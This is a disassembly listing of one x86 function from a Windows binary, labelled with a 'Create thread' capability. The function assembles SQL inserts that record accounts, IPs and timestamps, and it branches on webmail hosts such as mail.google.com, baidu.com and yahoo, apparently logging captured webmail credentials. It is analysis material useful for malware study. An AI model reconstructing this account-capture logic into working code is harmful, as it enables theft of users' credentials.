Function at 0x10007298
Capabilities:
Create thread

Disassembly:
push 0x24
mov eax, 0x10035745
call fcn.1001b8a5
test byte [0x10046d14], 1
mov dword [ebp - 4], 3
mov esi, 0x1003a028
jne 0x100072de
or dword [0x10046d14], 1
push esi
mov ecx, 0x10046d10
mov byte [ebp - 4], 4
call fcn.100067ce
push 0x100381d9
call fcn.1001bd67
pop ecx
mov byte [ebp - 4], 3
test byte [0x10046d14], 2
mov ebx, 0x10046d0c
jne 0x1000730e
or dword [0x10046d14], 2
push esi
mov ecx, ebx
mov byte [ebp - 4], 5
call fcn.100067ce
push 0x100381cb
call fcn.1001bd67
pop ecx
mov byte [ebp - 4], 3
test byte [0x10046d14], 4
mov edi, 0x10046d08
jne 0x1000733e
or dword [0x10046d14], 4
push esi
mov ecx, edi
mov byte [ebp - 4], 6
call fcn.100067ce
push 0x100381bd
call fcn.1001bd67
pop ecx
mov byte [ebp - 4], 3
push dword [0x10046d08]
lea ecx, [ebp + 0x10]
call fcn.10002e54
test eax, eax
jne 0x1000737f
push dword [0x10046d10]
lea ecx, [ebp + 8]
call fcn.10002e54
test eax, eax
jne 0x1000737f
push dword [0x10046d0c]
lea ecx, [ebp + 0xc]
call fcn.10002e54
test eax, eax
jne 0x1000737f
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
jmp 0x100075c7
lea eax, [ebp + 8]
push eax
mov ecx, 0x10046d10
call fcn.10005887
lea eax, [ebp + 0xc]
push eax
mov ecx, ebx
call fcn.10005887
lea eax, [ebp + 0x10]
push eax
mov ecx, edi
call fcn.10005887
mov edi, 0x10046c88
push edi
call fcn.1001b37f
test eax, eax
pop ecx
jne 0x100073bd
push 0x40
push edi
call fcn.10007f3e
pop ecx
pop ecx
push str.insert_into_hstable___HSA___HSP___HSU___IP___values__
lea ecx, [ebp - 0x10]
call fcn.100067ce
mov ebx, dword [ebp + 8]
push dword [ebx - 0xc]
lea ecx, [ebp - 0x10]
push ebx
mov byte [ebp - 4], 7
call fcn.10005133
mov esi, 0x10039fac
push esi
lea ecx, [ebp - 0x10]
call fcn.100054fb
push ecx
lea eax, [ebp + 0xc]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.10003da3
lea eax, [ebp - 0x30]
push eax
call fcn.10006103
pop ecx
pop ecx
cmp dword [eax + 0x18], 8
mov byte [ebp - 4], 8
jb 0x10007414
mov eax, dword [eax + 4]
jmp 0x10007417
add eax, 4
push eax
lea ecx, [ebp - 0x10]
call fcn.100054fb
push 0
push 1
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 7
call fcn.10003dc1
push esi
lea ecx, [ebp - 0x10]
call fcn.100054fb
mov eax, dword [ebp + 0x10]
push dword [eax - 0xc]
lea ecx, [ebp - 0x10]
push eax
call fcn.10005133
push esi
lea ecx, [ebp - 0x10]
call fcn.100054fb
push edi
lea ecx, [ebp - 0x10]
call fcn.100054fb
mov esi, 0x10039fa4
push esi
lea ecx, [ebp - 0x10]
call fcn.100054fb
push 4
call fcn.1001b315
pop ecx
mov ecx, eax
mov dword [ebp - 0x14], ecx
test ecx, ecx
mov byte [ebp - 4], 9
je 0x1000748b
lea eax, [ebp - 0x10]
push eax
call fcn.10003da3
mov eax, dword [ebp - 0x14]
jmp 0x1000748d
xor eax, eax
xor ecx, ecx
push ecx
push ecx
push eax
push 0x1000719c
push ecx
push ecx
mov byte [ebp - 4], 7
call fcn.1001fbb5
add esp, 0x18
push str.insert_into_Dummy___OnlineDateTime___SeatIP___AccountType___Account___values__getdate___
lea ecx, [ebp - 0x10]
call fcn.10005950
push edi
lea ecx, [ebp - 0x10]
call fcn.100054fb
xor edi, edi
push edi
push str.mail.google.com
lea ecx, [ebp + 0x10]
call fcn.10003c04
test eax, eax
jle 0x10007501
push str._4_
lea ecx, [ebp - 0x10]
call fcn.100054fb
push dword [ebx - 0xc]
lea ecx, [ebp - 0x10]
push ebx
call fcn.10005133
push edi
push 0x10039e4c
lea ecx, [ebp + 8]
call fcn.10003c04
test eax, eax
jge 0x10007578
push str._gmail.com
jmp 0x10007570
push edi
push str.baidu.com
lea ecx, [ebp + 0x10]
call fcn.10003c04
test eax, eax
jle 0x1000752e
push str._51_
lea ecx, [ebp - 0x10]
call fcn.100054fb
push dword [ebx - 0xc]
lea ecx, [ebp - 0x10]
push ebx
call fcn.10005133
jmp 0x10007578
push edi
push str.yahoo
lea ecx, [ebp + 0x10]
call fcn.10003c04
test eax, eax
jle 0x100075b9
push str._4_
lea ecx, [ebp - 0x10]
call fcn.100054fb
push dword [ebx - 0xc]
lea ecx, [ebp - 0x10]
push ebx
call fcn.10005133
push edi
push 0x10039e4c
lea ecx, [ebp + 8]
call fcn.10003c04
test eax, eax
jge 0x10007578
push str._yahoo.com.cn
lea ecx, [ebp - 0x10]
call fcn.100054fb
push esi
lea ecx, [ebp - 0x10]
call fcn.100054fb
push 4
call fcn.1001b315
mov esi, eax
pop ecx
mov dword [ebp - 0x14], esi
cmp esi, edi
mov byte [ebp - 4], 0xa
je 0x100075a5
lea eax, [ebp - 0x10]
push eax
mov ecx, esi
call fcn.10003da3
mov eax, esi
jmp 0x100075a7
xor eax, eax
push edi
push edi
push eax
push 0x1000719c
push edi
push edi
call fcn.1001fbb5
add esp, 0x18
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.100019f1
lea ecx, [ebx - 0x10]
call fcn.100019f1
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
call fcn.100019f1
mov ecx, dword [ebp + 0x10]
add ecx, 0xfffffff0
call fcn.100019f1
mov ecx, dword [ebp + 0x14]
add ecx, 0xfffffff0
call fcn.100019f1
call fcn.1001b97d
ret